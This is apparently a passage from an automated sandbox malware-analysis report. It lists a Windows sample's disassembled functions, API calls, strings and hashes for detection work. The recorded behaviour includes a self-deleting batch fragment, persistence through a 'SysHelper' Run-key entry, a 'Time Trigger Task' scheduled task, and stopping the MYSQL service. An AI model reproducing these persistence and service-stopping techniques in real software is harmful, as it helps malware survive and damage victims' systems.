String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

